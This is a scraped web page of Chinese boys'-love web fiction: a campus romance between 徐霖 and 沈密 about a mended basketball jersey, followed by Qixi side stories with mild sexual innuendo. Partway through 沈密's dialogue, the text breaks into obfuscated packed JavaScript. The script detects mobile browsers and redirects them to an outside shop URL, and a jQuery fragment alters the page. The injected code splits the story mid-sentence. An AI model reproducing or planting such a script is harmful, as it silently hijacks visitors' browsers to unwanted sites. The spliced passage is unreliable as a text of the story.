他把相片存在手机里,截掉了其他人,只留下那个侧影,还单独放在一个隐藏相册。尽管充满好奇,但别扭的个性让他没办法拜托任何人打听,想着最差的可能也就是附近学校的学生来看比赛,至少在一个城市,说不定哪天就遇到了。 谁知道这一天比徐霖想象中来得还要快。 新传学院的篮球队闯进了校半决赛,系学生会特意邀请他设计篮球赛当天的宣传板。抱着一大袋新传学院小旗的徐霖和其他布置展板的学生一起赶着往体育馆抢位,刚进去一转角就正正好好撞上了别人。徐霖还以为自己会摔得不轻,怀里的旗子也撒一地,就像恶俗偶像剧里的桥段一样。 但事实令他更懵、更不知所措,他不小心撞上的那人两手握住了他的肩膀,稳住了他,像一个十分唐突的拥抱被强制打断。一只误入窗台的蝴蝶被玻璃瓶罩住,无处可逃。 抬头的徐霖就这样第二次见到了照片上的男生,耳朵发红,灵魂出走,头上的画家帽都歪了歪。 原来他也是W大的。 “没事儿吧?”那个男生低头用确认和关心的眼神看向他。对视的瞬间,徐霖像是浑身过电般哑口,反应过来的第一时间是挣开他,后退了一步。 这样的反应实在不算正常,徐霖自己也清楚,因此他只好别扭又小声地回应,但没有直视面前的人,“我当然没事,又没有摔倒。”习惯性的话脱口而出之后,他又瞥了对方一眼,很小声地说了一句谢谢。 “没事儿。”男生见地上落了一枚粉色的小纸旗,于是弯腰捡起来,放到他抱在胸前的纸袋里,笑了笑。徐霖正纠结要不要再多说一句谢谢,只见那只手忽而上移。 他伸手替徐霖扶正了帽子。 “不客气。”他露出一个笑,牙齿很白。 徐霖晃了晃神,听到身边的同学叫才应声,装出一副十分无所谓的态度,绕开他抱着东西继续往前。布置的过程中,他强迫自己不要去想刚才那一撞,努力工作,但那张笑脸不自觉就和合照里的男孩重合,令他心猿意马,连后来的比赛他都无意去看。可系学生会主席硬拉上他见这个见那个,一向好面子的徐霖也不好拒绝。 比赛开始之后,他实在不想困在前排观众席,走也走不开,只好悄悄起身往后排躲。随便找了个空位坐下,没成想竟然同他打起招呼来。 “你认识我?”徐霖看着眼前的人,也觉得有几分眼熟,但就是说不上来。 “你忘了啊?我是法学院的啊,之前初赛的时候我陪乐乐去参加,记得不?” 徐霖一下子想起来,“你是混血甜心的同学?”很快他又大言不惭地补了一句,“但我不记得你的名字哦。” “没事儿,我就知道。”对方笑了笑,自我介绍道:“我叫蒋宇凡。刚刚我还在想今天和新传的比赛会不会看到你呢,太巧了。” “混血甜心呢?”徐霖扫了几眼就知道他没来,毕竟乐知时是在人群中非常抢眼的那种人。 体育馆里十分吵嚷,蒋宇凡只能凑近了些对他说话:“本来要来的,后来一听说他哥要出去,就屁颠屁颠跟着跑了。” 正说着,球场上忽然爆发出一阵巨大的欢呼,两人同时望过去,似乎是有人进了球。徐霖眯了眯眼,发现进球的人就是刚刚和他撞上的男生,只是换了一身白色球衣。 “好球!”蒋宇凡激动地想抬手鼓掌,没想到直接被徐霖拽住手。 “你认识刚刚进球的那个人?” “当然了。”蒋宇凡一脸自豪,“这是我们班的啊。他叫沈密,厉害吧。我跟你讲你们班这次要输了,他可是校队的新种子选手呢……” 沈密。 沈密…… 徐霖迷迷糊糊,又望向球场,看沈密朝场中跑着,向自己的队友比手势打战术,又掀起球衣的衣摆擦了擦脸上的汗。 那双手不久前还握在他的双臂。 球场的欢呼声把徐霖的灵魂拉扯到半空中,飘飘浮浮,像是热巧克力上的棉花糖。 一见钟情怎么可能发生在他身上? 不可能,绝对不行。 . 结束了一段无疾而终的暗恋,沈密全靠忙碌来自我疗愈。好在他是个拿得起放得下的人,加上每天为了比赛疯狂练球,这段过渡期比预想中还要短暂。从一个暗恋者转换为朋友,沈密甚至觉得轻松许多。 但奇怪的是,就在这段时间,他身边忽然冒出来一个很奇怪的男孩子,总是穿得很时髦,脸蛋像高中生似的,有事没事就在他眼前晃。或许对方还觉得自己掩护得很好,可他的打扮实在好认,就像游戏里穿着限量节日套装还跑到他眼前送人头的敌方。 从他出现的当下,沈密就认出来,他是当时在体育场拐角撞到自己身上的那个人。和同学聊天时又得知,这是个在新传很出名的小孩儿,好像还是个家世很不错的小少爷。 原来这是当时和乐知时比赛的竞争对手。 这是沈密对他全部的初始印象。 起初,徐霖在路上拦住他派发调查统计的传单,沈密觉得是意外。第二次他又偶然遇见,和他一起的同学还上前来采访沈密。徐霖就站在一边不吭声,拿着相机录像,姿势还十分不专业。沈密当时就觉得古怪了。 后来的第三次、第四次不间断出现,沈密开始好奇他的目的。于是,在徐霖穿着十分违和的运动服出现在体育场的时候,沈密主动朝他走去。 没想到这一走,隔老远正假装压腿的徐霖立刻收了腿,扭头就跑。 沈密也追了起来,并且以身体素质和腿长的优势很快追上他,把他堵在了体育场的门口。 “好巧啊。”沈密抢了他的话,故意笑着说,“最近总是碰到你呢。” 被堵住的徐霖听到这话下意识反驳,“谁说的!也……也没有总是碰到。”觉得自己这样有些丢人,他赶紧仰着下巴,“我认识你吗?你谁啊?” 沈密见他跟个河豚似的,一下子就被逗笑了,见他胸口的卫衣帽绳一长一短看着别扭,便伸手替他拽了拽,结果对方吓了一跳,直接往后退了一步,两只手握住绳头,抬着下巴望着他,一副我不好惹的模样。 “你不认识我还天天跟着我,该不会是有人雇你找我麻烦吧。”沈密打量着他,摸了摸下巴,“吉娃娃重拳出击,爆锤阿拉斯加?” “你!”徐霖气得耳朵都红了,照以往他早就把他按在地上摩擦了,可现在的他想了又想,感觉被这个人误会不是件好事儿,于是难得耐着性子解释,“没人雇我。” “哦~” “没人雇得起。” 沈密笑了笑,“那以后能不一直跟着我了吗?怪难受的。” 很迅速地,徐霖的表情变得可怜起来,嘴唇微微瘪起,但随时一副要撑住脸面的表情,准备脱口而出保卫自尊心的话。 不过他没能来得及说出口。 “我的意思是,大家可以正常当朋友啊。”沈密歪了歪头,眼睛盯着他,“除非你真的是要找人打我。” “我没有!”徐霖立刻摇头。 沈密自己点了点头,抱臂低头望着他,思索片刻,“你该不会是找我当模特的吧?” 见对方主动找了个再合适不过的借口,徐霖赶紧点头。 “可是比赛都结束了啊?” “下、下一届。”徐霖底气不足地回答,继而下巴一扬,“不可以吗?” “可以,可以。”沈密耸耸肩,暂且放过了这个小河豚精。 秋天的早雾浸得人浑身冰凉,可徐霖却觉得天气好得不像话。 . 关于如何与自己的一见钟情对象做普通朋友的问题,当惯了团体中心的徐霖格外地无从下手。想靠近的心情与极强的自尊心相互拉扯,令徐霖永远找不到一个舒适的模式与沈密相处,他好像瞬间变成了一个笨蛋,而他向来是最讨厌笨蛋的。 不过沈密热心,对人际交往信手拈来,每次都能主动接过徐霖编得很烂的理由,让他可以放心靠近。起初徐霖以为他就是和外表一样的阳光开朗,可相处久了,他竟然还能在偶然间发现沈密不经意的小刻薄,尤其当对象是那个混血甜心的哥哥时。 “哎我问你,”训练玩的沈密满头大汗,单手拍球望着不远处,语气漫不经心,“你觉得宋煜长得帅吗?” 徐霖也跟着望过去,看到之前帮忙救场的那个测绘学院学长,传说中的校草。于是他转过头,对沈密说,“大众审美上来说,的确是大帅哥,和混血甜心站在一起尤其有视觉满足。” 沈密听罢撇了撇嘴,“行吧。” “但是我不喜欢他那一类的。”徐霖很快又开了口。 “是吗?”沈密有些好奇,球在地上猛地一弹,被他抓住,“那你喜欢哪种人?” “我喜欢……”发现沈密盯着他看,徐霖不自然地扭头,“反正我不喜欢那种冷着脸的,也不爱笑,要是敢板着一张脸给我看我就再也不见他了。” 沈密又一次笑了出来,还把他手里的篮球往徐霖怀里扔,“说得好像人家倒贴着跟你玩儿似的。” 徐霖先是下意识两手抱住球,忽然反应过来,飞快扔开,“好脏!” “哪儿脏啊?” “都是汗!” 沈密拉他过来往怀里拽,企图用胳膊把他夹住,“你过来,我让你看看什么才都是汗!” 两人正闹着,徐霖突然听到有人叫他的名字,趁他回头便逃跑了,隔好几米才站定。他努力平复自己的呼吸,慌乱的像只逃出生天的兔子。体育馆里充斥着球鞋与地板摩擦的声音,还有篮球落地的咚咚声,一如他喧嚷的心跳。 远远地,他看见一个扎着马尾的漂亮女孩儿朝沈密走去,两人有说有笑,沈密甚至露出些许不好意思的表情。女孩儿最后把手里的一件白色球衣递到他的手里,面带笑容地离开去了别的队员那儿。 徐霖的心率一下子慢下来,胸口闷闷的。他感觉自己就像一件随便人操控的玩具,忽上忽下,怎么不好受怎么来。 他一向是任性的,不开心就想离开,但面对沈密,那些小小的脆弱的自尊心好像又勉强可以忍受一些磨炼了。 徐霖不知道自己远远站在那儿的样子看起来多可怜,他还以为自己装得很像样,直到沈密一面说着“真不逗你玩了”一面朝他走来,扬着嘴角,“你什么表情,皱皱巴巴的。” “你才皱皱巴巴的!”徐霖把气撒在他的球衣上,“你的球衣最皱皱巴巴!” 沈密也不生气,低头看了一眼自己手上的球衣,“可不是嘛。”他还把衣服拉开来展示。徐霖这才发现他手里的球衣衣摆裂开了,线都被挣断了。 “刚刚我们篮球经理把衣服拿给我看,要不我都不知道。”沈密翻过来翻过去地打量,“估计是上次训练的时候弄破的,这帮人太狠了。” 徐霖见他一直盯着看,像是觉得很可惜,无意间又瞥到衣服前襟上印着的名字,心里某个柔软的小角落动了动。 纠结来去,最后他还是别扭地扯过衣服,嘴里不饶人,“你是原始人吗?打球都能弄这么破。” “哎你抢我衣服干嘛?” “我看看。”徐霖把自己的橙色小墨镜往头上一推,微微低头,半眯着眼仔细检查针脚。沈密在一旁盯着,这才发现这家伙的睫毛又黑又密,小扇子似的,体育馆的灯光一照,眼下的皮肤都倒映出两丛云雾似的阴影。 他的皮肤看起来好像也很软。 “我帮你缝好。”徐霖抬眼,眉毛微微挑了挑,“你要请我吃饭。” “真的?”沈密回神,有些受宠若惊,“太麻烦你了吧,我去学校外面的裁缝店找阿姨帮我随便弄一下就行。你这么厉害,别因为我耽误时间了。” 徐霖抬起头,“你这人说话有时候茶里茶气的。” 沈密愣了几秒,又噗的一下笑出来,“这就茶了啊?”他清清嗓子,“哥哥,你去给别人缝衣服吧,不用管我,我没事的,就是有一点点伤心。” 徐霖的眼睛瞪大了些,一副惊恐的表情,令沈密很是受用,越发变本加厉起来,“当你女朋友一定很幸福吧,有你这么体贴的男朋友……哎你跑什么,我还没说完呢!别跑啊,我请你吃大餐!” 之后的很多天,徐霖都陷在深深的懊悔当中。 他后悔自己一时控制不住提出要帮他缝球衣,像个没出息的小媳妇,又后悔自己太当回事,明明从不做家务,居然还小心翼翼地手搓这件集体批发的球衣,用最好闻的洗衣香氛,烘干后还喷上自己的香水,到最后又嫌香水太浓,大冬天打开电扇吹了好久才散干净香气。 不过他最最后悔的,还是在缝衣服的时候荷尔蒙作祟,竟然鬼使神差在收尾的衣摆针脚那儿绣了一枚很小很小的爱心。 徐霖穿着皮卡丘睡衣盘腿坐在床上,两只手捏着布料,纠结着究竟要不要吃下后悔药,拆了这个可怕的“证据”,但没等到他决定好,母亲就端着甜汤敲门进来,徐霖只好把球衣塞到枕头底下。 这是天意,老天和老妈都不让他拆。 算了算了,沈密那个粗枝大叶的家伙,肯定发现不了。 一晚上都没睡好,徐霖胆怯又心虚地拿出自己补好的球衣。他本来叠的很整齐,可最后犹豫了一下,又故意胡乱塞进包里。 等人的时候,徐霖煎熬万分。他的书包里还放着剪刀,随时还有机会,最后拆除爱心的机会。 但来不及了,沈密忽然就出现在他面前,像第一次撞上他那样。没等他开口寒暄,徐霖怕他后悔,直接打开书包,拿出那件被他精心护理又刻意弄皱的球衣,塞进他怀里。他怕自己后悔,所以找借口溜了。 沈密在他身后很大声地说谢谢,徐霖也不敢回头。 百分之九十九的他希望沈密永远不要发现那个强行留在衣摆上的拙劣印迹。 但剩下那一点点的百分之一,却卑劣地渴求他能看见自己的心。 再见面是一周后。这一周里风平浪静,徐霖并没有从沈密那儿收到什么奇怪的消息,和往常一样。因此当沈密邀请他去校外的一家餐厅吃饭时,徐霖矜持地拒绝了两次,但第三次还是答应了。 这是一家有名的湘菜馆,沈密不知道的是,徐霖一点辣也不能吃。可徐霖什么也没说,他把心思都花在出门前的衣服搭配上,匆忙又郑重地赴了约。 坐在对面的沈密点了很多招牌菜,最后抬头问徐霖,“你还要加点儿什么?” “牛奶。”徐霖脱口而出。 沈密笑了,“你是小孩儿吗?还没断奶啊。” 只是预备解辣而已。徐霖在心里反驳。 满桌子的菜红彤彤的,徐霖吃一口菜就要喝一口牛奶,嘴唇边挂着奶沫都懵然不知。沈密看到了,下意识抽了纸。 更下意识的举动,他忍住了。 沉默了两分钟,沈密把纸递过去,然后说出一句与这个举动毫无关联的话。 “徐霖,你不会喜欢我吧?” 一定是听错了。 徐霖猛地抬头愣在原地,两三秒后,他反应过来,收回手的时候又被辣椒呛到咳嗽,满脸通红,一句话也说不出来。 他看到了,真的看到了。 徐霖恨不得找个地洞钻进去,他感觉全餐厅的人都在看他,嘲笑他的愚蠢。 “怎么了?你先喝点水。”沈密连忙给他倒了杯水递过去,但徐霖也不接,就歪在沙发卡座上咳嗽,像只可怜的小猫,咳得眼泪都出来了,还倔着性子非要问他,“你、你为什么……” 沈密只好从包里拿出那件球衣递过去,不知道为什么,他说话忽然也紧张起来,句不成句,“这个心……我、我拿到手之后想看看你怎么缝的,然后我就看到这个了,真的不是故意的。那什么,是这样的,其实我也暗恋……” 这两个字像是触到了徐霖的逆鳞,他腾地一下起身,抓起自己缝好的球衣头也不回地逃离了餐厅。 “……暗恋过别人。”沈密呆呆望着他的背影,说完了剩下的话,然后愣在原地。 他想自己是不是不应该这么坦白,徐霖和别人不一样。 沈密从来没有这么后悔过,但后悔也没有意义了。 徐霖像是消失了一样,发消息不回,打电话不接。沈密忍不住去新传找他,下了课,楼道里人来人往,他按照打听的课表一间间教室找过去,却透过窗户看见一个男生揽住徐霖的肩膀,有说有笑。 他这才发现,徐霖原来也对别人露出那种别扭又不好意思的表情,耳朵也是红的。 沈密一下子窜起一股无名火,想也没想过去找他,但对方似乎被他的突然出现吓了一跳,下意识往别人的身后躲,这让沈密更加气恼。 “你躲什么。”沈密眉头紧皱,耐着性子说,“球衣还在你那儿,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727012|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没衣服训练了。” 徐霖睁大了一双眼睛,又倔又傲,看起来还有点委屈。 “为什么不说话?不是你要给我缝的吗?” 他在第三个人面前说出了这件事,彻底戳破了徐霖的自尊心。 别无选择,徐霖再一次逃跑了。 方才揽着徐霖的男生抓住沈密,说了他几句,“哎哥们儿,你说话怎么这么冲啊。” “关你什么事?”沈密推开他,冷着一张脸望着徐霖离开的背影。 沈密不是个容易生气的人,做人圆滑、八面玲珑才是他的风格,但这一次他的确是压不住情绪。事后他也有些愧疚,想找他道歉,晚上却从蒋宇凡那儿收到了自己的球衣,只不过是拆除了所有缝补线的球衣。 包括那个小小的、几乎看不见的爱心。 沈密没来由地委屈,委屈完更生气,他把球衣扔到脏衣篓里,看都不想看到。 “怎么了沈密,昨儿还贴着衣服闻来闻去呢,这会儿又扔了啊,翻脸比翻书……” “闭嘴。” 两人的冷战持续了几个月,中途发生了很多事,乐知时和宋煜的被迫全校出柜,宋煜外出作业的突发灾情。过去的沈密以为自己一定会嫉妒,但看到他们坦诚地在所有人面前相爱,沈密更多地感到羡慕。 乐知时是个心思细密的人,看到徐霖和沈密的不对劲,好几次找机会劝解沈密,安慰打气一股脑灌下来,弄得他招架不住。 “徐霖人很好的。”乐知时撞了撞他的胳膊,试图找到认同感,“你不觉得他的小脾气也很可爱吗?奶凶奶凶的,还有点中二。” 沈密抓了抓长长了的头发,有些烦躁地嘁了一声。 “嘁什么呀,你不觉得可爱吗?”乐知时继续追问。 “不觉得。” “但是有人觉得,最近好几个人找我要他微信呢,不信你看!” “你别给我看。” “你看啊,这个的微信名还和他的很配呢。” 沈密躲开了,生平第一次他发现乐知时也是个很难缠的家伙。而坐在原地的乐知时看着沈密离开的样子,成就感满满地打开微信,给蒋宇凡发消息。 [乐乐:你可能要有新的AJ了诶!] 做了一晚上思想工作,在梦里又梦见一连串离奇的被横刀夺爱剧情,一大早惊醒的沈密终于决定行动起来。他故意穿上自己的破球衣训练,没脸没皮地满场子跑,衣摆飘来飘去被一堆人取笑,这还不够,他故意让蒋宇凡拍下照片给徐霖看。蒋宇凡也是个得力助攻,把话一五一十转达给徐霖。 [混血甜心的发小:他说你不给他补衣服他就一直穿破的。] [混血甜心的发小:哦还有,他说“我真的好羡慕别人有不破的球衣穿啊,我就没有,什么时候才有好心的小菩萨帮我补一下呢?不补也没关系的,我肯定不会因为衣服破了就生病的。”] [徐霖:………………] [徐霖:让他去死。] 可铁了心厚脸皮的沈密完全不管不顾了,他知道旁敲侧击对徐霖没用。摸准了他周末要去校咖啡馆自习,沈密守着点在前往咖啡馆的小路上堵住他,把他硬生生拽到了小亭子里。 “你别躲着我了。” “放开我。”徐霖摆出一副恶狠狠的表情,“我警告你,你以后不许到处跟别人乱说!” “那你给我补衣服。”沈密抓着他的胳膊,力道不自觉放轻了些,但怎么都不放。 徐霖闭口不言,想甩开他的手,但怎么都甩不开,只能憋着气,像是要发作似的,可最后也只是皱起了眉。 “你有喜欢的人干嘛还要来招惹我啊,你有毛病吧。” “你说什么?”沈密想解释“我……” 徐霖见他不承认,更生气了,“你少狡辩!上次你就说了你暗恋别人,你别……” “我承认。”沈密有些无奈,怕他不让自己说完,就用手捏住他的脸蛋,徐霖的嘴像小鸡一样突出来,的确没办法打断,只能不断挣扎。 “你没听完我说的话,我说的是我暗恋过别人。” 他一下子就停住了。 过? 过是什么意思。 沈密难得地坦白,“对,我是暗恋过,但是没有结果我就放弃了。”他松开手,缓缓垂下手臂,“你靠近我的时候,我心情不算太好,心里想着怎么会有这么没有眼力见的人,跟踪别人还露出这么多马脚。” “你闭嘴!” “但你太可爱了。”沈密望着他的眼睛,嘴角带笑,又重复了一次,“真的很可爱。你做什么我都觉得很有趣,而且我特别想逗你,惹你发脾气,看你使小性子。我感觉你也喜欢跟我在一起。所以……” 他的眼神像只毫无坏心眼的大狗狗,“所以我看到你绣的爱心,一下子就印证了我的猜想了。那天我请你吃饭,其实就是想试探你一下……” “我不信。”徐霖后退一步,心里的小盾牌再一次竖起来,“我警告你不要把我当成别人的替身,我会讨厌你一辈子。” 与此同时,替身本身的乐知时扭头看着同样躲在不远处冬青丛里的蒋宇凡,小声问道:“谁的替身啊?” 蒋宇凡只是被沈密叫来随时待命抓徐霖的,怎么知道这些机密,“不知道啊,反正不是我。” “也不是我。”乐知时继续躲着看戏。 “我没有把你当成别人,我真的不喜欢他了。”沈密有些懊恼地抓了抓头发,生怕徐霖不相信他,“你跑了之后我就很急,睡不着觉,找你你又不理我,也不接我电话。后来我跑去新传学院找你,看到你和别人说说笑笑的,心里更烦了。” “你有什么好烦的?” “你说烦什么?烦我这么生气你还这么高兴,还不是因为我高兴。”沈密脱口而出。 听到这话,徐霖愣了一下。他无数次检查过的坚固堡垒在这一刻似乎又被击溃,面对沈密,他似乎无法说不。 可他也没办法轻易相信。 “你……你什么意思啊?我根本就听不懂!”徐霖一下子情绪破堤,又气又委屈,“你明明就是喜欢那个篮球经理,给你送球衣的时候还喜欢呢,怎么这么快又变了!你就是个骗子!” 躲起来的乐知时和蒋宇凡同时看向彼此,瞪大眼睛。 “篮球经理?他暗恋过南嘉学姐??” “真的假的??” 信息量太大,两人沉浸在巨大的震惊之中,一时间什么都听不到了。 沈密意识到自己被误解,立刻解释,“我没有喜欢过篮球经理,怎么可能呢?八竿子打不着的。”他生怕徐霖再一次逃跑,伸手抓住他的手臂,“我要抱你,可以吗?” “什么……” 还没等徐霖拒绝,自己就被他拽入怀里,紧紧地抱着。 “我喜欢你,真的喜欢你,不要再误会我了。” 他声音都变软了,手臂圈得很牢,不断地重复着表白的话,“我喜欢上你了,还不明显吗?” 徐霖想推推不开,只能打他,“一点也不明显。” “真的吗?我都快告诉所有认识的人了,你看我一天天穿着件破球衣,他们都笑话我,让我去外面缝一下,我都不想去。”他把头埋在徐霖颈窝,闻到曾经在那件球衣上闻到过的柔软香气。 “你怎么忍心把线都拆了啊。” 徐霖几乎喘不上气,脸颊烧烫,说话都打起了结,“我、我就要拆。” “不能再拆了,把我的小爱心还给我。” “凭什么?我不要。” “还给我。” “不要!” “还我一个更大的。” “不!” “好啊那你别答应跟我在一起。” “不!哎……不对……” 激动的乐知时在树丛后面晃着蒋宇凡,压抑着音量,“成功了成功了……”正兴奋着,身后忽然传来一个熟悉的声音,“乐知时,你躲在这儿干什么?” 乐知时猛地扭头,尴尬地松开抓住蒋宇凡胳膊的手,“哥……我、我在看沈密和…… “沈密?”宋煜眉头皱起,“你看他干什么?” “不不是,你别过来,嘘……,一会儿发现我了。哎呀哥哥!” 蹲在地上的蒋宇凡保持姿势挪了挪地儿,看看身边的一对,又看了看小亭子里还抱在一起的俩人,自言自语道:“我好像买到看戏vip专座了诶。” 转而,他想起些什么,编辑了一条微信。 [小蒋同学:南嘉姐,沈密他暗恋过你吗??] 桌上的手机响了一声,南嘉正洗着澡,曲直以为是电话替她瞥了一眼,好巧不巧看个正着。 浴室的门突然被打开,南嘉吓得转过身,“干嘛呀?” “学姐,沈密又是怎么回事?他居然暗恋过你?!你到底有多少我不知道的桃花啊!” “什么???” 5. 七夕小剧场合集 知许解夏小剧场 夏知许为了七夕限定更新提前带着团队熬了两周,最后几天更是天天通宵,终于在0点准时上线,整个人累瘫掉。犒劳员工点了披萨外卖,自己准备在办公室眯半个小时再回家,否则怕开车出事。 就在他正趴在单人间的办公桌的时候,小组里十几号人吃得欢天喜地。突然间前台出现了一个清瘦秀气的男生。 “请问,夏知许还在吗?” 运营小哥腾的一下站起来,“您、您找谁?我们夏总?” 对方点头,“我给他打电话,他没有接。”他手里拎着个保温杯,说话温柔。 运营愣了半天,没想到被身后的老员工测试小姐姐一巴掌拍开,“起开,这是我们老板娘!” 许其琛听了这话,耳朵立马红了起来,“不、不是……” 所有人惊得异口同声,“老板娘!?” 测试小姐姐立刻笑着上前,将红了耳朵的许其琛带到夏知许办公室,然后敲了敲门。 没人应。 她咳嗽一声,朝着门大喊:“夏同学!你老婆来了!”(大厂都喜欢叫某某同学) 夏知许立刻条件反射似的吓醒了,坐起来,迷迷瞪瞪往外走,果然看到了许其琛。他累得直接往许其琛身上倒,两手一抱,像只大型犬,“琛琛,我累死了……” 对于这样的老板,测试小姐姐露出了惊恐的表情。 “先进去……”许其琛拖着他,“我给你带了藕汤。” 进了房间,夏知许一把将许其琛抱到办公桌上坐着,自己站在桌前,两手捧着他的脸,正要凑上去亲,被许其琛捂住了嘴。 见他疯狂摇头,夏知许只好改亲了额头,然后抱住他,下巴抵在他的肩上。 温存了片刻,本来气氛温馨,直到他侧过脸看见自己的员工们拿着手机拍照吃披萨还一脸兴奋的表情。 “看什么看?大过节的很稀奇吗?”夏知许走过去把百叶窗帘刷得一下拉上。 “都没老婆啊!” 员工们哀嚎,“披萨瞬间索然无味了。” “我也是,想喝老婆的汤。” “谁不想要老婆呢?” 房间里的夏知许,疯狂撒娇:“就在公司睡吧。” “不行,我知道你想干什么。” “我不是有单人间吗?就在这儿睡吧。” “不。” “他们一会儿就走了真的,我这儿沙发特别软!试一次,就一次,琛琛,求你了……” “不!可!以!” · 自习小剧场 周自珩的新电影是是爱情题材的文艺片,作为主演,七夕当天不得不跟随主创团队参加路演。 他不知道的是,夏习清找助理小罗帮忙,弄到了一张路演票,当天他穿了身低调的黑色工装连体衣,一顶军绿色棒球帽,还戴了黑色口罩,捂得严严实实。他等到其他粉丝和观众差不多都进场,才最后进去。 台上的周自珩绅士又稳重,开口的低音炮很苏,言辞温和,和昨晚上床前撒娇上床后凶狠的家伙判若两人。 路演进行到了观众提问主创回答的环节,台下的粉丝们纷纷积极踊跃地举手,甚至有的站了起来。见周自珩往观众席看,夏习清立刻往下滑了些,压了压帽檐。 他旁边坐了个小女孩,大概是右边的妈妈带来的,小女孩看着夏习清,小声问:“哥哥,是不是太高了坐不下呀。” 夏习清侧过脸对她笑了笑。 “哥哥在和台上的哥哥躲猫猫。” 一位男粉被选中,他激动地站起来,“自珩你好!” “你好。”周自珩对他笑了笑,玩笑道,“没想到我还有男粉。” “有的!”男粉平复了一下心情,“自珩,你第一次演这种单纯的爱情题材的戏,我们都很喜欢,这个戏里你演的陈洛是比较腼腆的性格,和你之前的角色完全不一样,这是你新的挑战吗?” 周自珩笑了笑,一只手拿着话筒,另一只手插在西装裤口袋里,“嗯……” “确实,我以前的角色都比较苦大仇深。但是这次的角色是比较大男孩的,有点害羞,而且还有点幼稚。” 说到幼稚,夏习清也笑了。 “但是不能说挑战吧……我觉得这个角色还挺适合我的。” 对啊,夏习清心道,这家伙现实中被追被表白也是害羞得要命,完全是本色出演吧。 “那请问怎么想到来演陈洛的呢?” 没想到这个问题导演抢答了,“我记得小周说,他来是因为一个人跟他说,你这个年纪就该演点赏心悦目的爱情片,别到时候想演还演不了,只能去拍大龄偶像剧了。” 大家笑起来,纷纷在台下问是谁说的。 “嗯……”周自珩有些不好意思。 一个女粉丝声音巨大,“是不是夏习清!!” 周自珩嘴角落不下来,模糊其词地默认,“你说是就是咯。” “他怎么没来啊!” “应该在北京吧。” 时间过得很快,问答环节结束,特邀嘉宾唱过主题曲后,快到了最后的尾声阶段。 主持人说,“那么今天也是个特殊的日子,我们中国的情人节,我们准备了蛋糕,请各位主创切一下吧。” 等了好久,夏习清终于等到蛋糕上场,他起身弓着腰拿了最后一排后面立着的大束花束,总共111朵红玫瑰,巨大的花束完全遮住了他的脸和上半身。 在一片惊呼声中,夏习清迈步上了台。周自珩还浑然不知,背着身子切蛋糕。 “自珩。” 忽然听到熟悉的声音,他愕然回头,玫瑰花扑了满怀。 夏习清像一个粉丝那样拥抱了他,然后在他耳边说:“七夕快乐,我爱你。” “习……” “晚上再说,我等着你。”他的声音充满蛊惑,周自珩愣在原地。 说完,他又大步流星地离开,长腿背影引得众多粉丝回头围观。 回到座位的夏习清发现小女孩竟然用手占着,给他留着位子,“哥哥,你回来了!” “哥哥你不玩躲猫猫了?”小女孩儿着急问道,“为什么要上去呀?” 帽檐下是夏习清的笑眼。 “哥哥去认输了。” · 非人小剧场 最近卫桓一直很苦恼。 七夕节要到了,他一直在想,要怎么才能不动声色地让云永昼知道这种人类的节日,并且和他一起庆祝。 于是他给出诸多暗示。 “云永昼,你看到那个上善学院的女老师没?她收到好多花!” 云永昼:“我一个女老师也不认识。” 这不是重点啊…… “云永昼!他们最近都在讨论去游乐园的事~” 云永昼:“你想再上一次人类社会版新闻吗?” ……确实,游乐园是个危险的地方,过山车再坏一次就麻烦了。 暗示对云永昼油盐不进,卫桓只能想办法找几乎明示。中午的时候,卫桓去接下课的云永昼,跟着他一起去学校食堂,吃饭的时候隔壁是一对甜甜腻腻的小情侣。 “快尝尝,我给你做的。” “嗯!” “好不好吃?” “好吃!谢谢你宝贝!” 卫桓咬着筷子头,巴巴看着俩学生,露出了羡慕的表情。见他这样,云永昼也侧过头看了一眼,然后用筷子敲了敲他的碗边。 “吃饭。” “哦……”卫桓乖乖听话。没一会儿,两个卫桓班上的女学生端着食物路过,见到他俩,立刻激动地问,“卫老师云老师,我们可以坐这儿吗?” “可以啊。”卫桓点了下头,“坐。” 云永昼给他夹了点菜,卫桓只顾着和别人说话,不好好吃饭。 “哎对了,你们知道最近人类有什么节日吗?”卫桓开始了明示。 一个女生说:“节日?” 另一个女生立刻会过意,“哦!这个月是比较特别!” “是吧。”快说快说。 “这个月是鬼月啊!” 卫桓:…… 低着头的云永昼忍不住轻笑了一下,但很快恢复。 卫桓的暗示直到倒数第二天,那天下午下了班儿跟云永昼一起回家,顺道帮扬昇取快递,对方非得让他拆了盒子拿上来,说是懒得再扔。 “起个龙卷风把盒子卷下去不就好了……”卫桓自言自语地拆开,然后瞬间无语,用通讯器给他打了电话。 “你有病吧!润滑剂也要我给你拿!” 谁知扬昇在对面没脸没皮地笑,“哦对,我忘了,这好早之前买的了一直都没有给我发,我都买了别的了。” 卫桓一脸无语,“那你还要不要?” “哎呀,这不巧了吗?”扬昇并不知道云永昼在卫桓身边,“就当哥哥我送你的七夕礼物吧,拿去勾引云永昼,不成功别来见我!” 卫桓飞快切断信号,一脸尴尬地抓着头发。 “那什么,我、我们回家吧。” 他抓着那管润滑剂的样子像抓了个地雷,手指僵硬地打开结界,自己钻了进去,并不知道云永昼在后面笑。 回到房间,卫桓吓了一大跳,整个房间都是花,百合、玫瑰、铃兰、无尽夏……各种各样的花堆满了客厅。 “为、为什……” “你不是想要花?” 卫桓瞪大了眼睛,他只是说说而已。看他愣着,云永昼动了动手指,光索飞出去圈住卫桓的腰,将他拽进云永昼怀里。 鼻尖要抵到一起,云永昼低声问:“喜欢吗?” 贴得好近,卫桓有点紧张,“喜欢……” “那在花里做吧。” “什么??” ·折腾到晚上十一点,卫桓有些饿,爬起来去找东西吃,正好发现冰箱里有份便当,还是煎成爱心的蛋。 云永昼这个小少爷居然会做饭了。 关上冰箱门正要走,发现厨房不太妙,像是发生过世纪大战。 回到床上,他以为云永昼睡着了,凑到他耳边对他说“我爱你。” 云永昼没睡,一把将他拉过来,声音低哑,“七夕快乐。” 卫桓摸了摸他的脸颊,“还没到七夕呢,小天鹅。” “再做一次就到了。” · 听觉小剧场 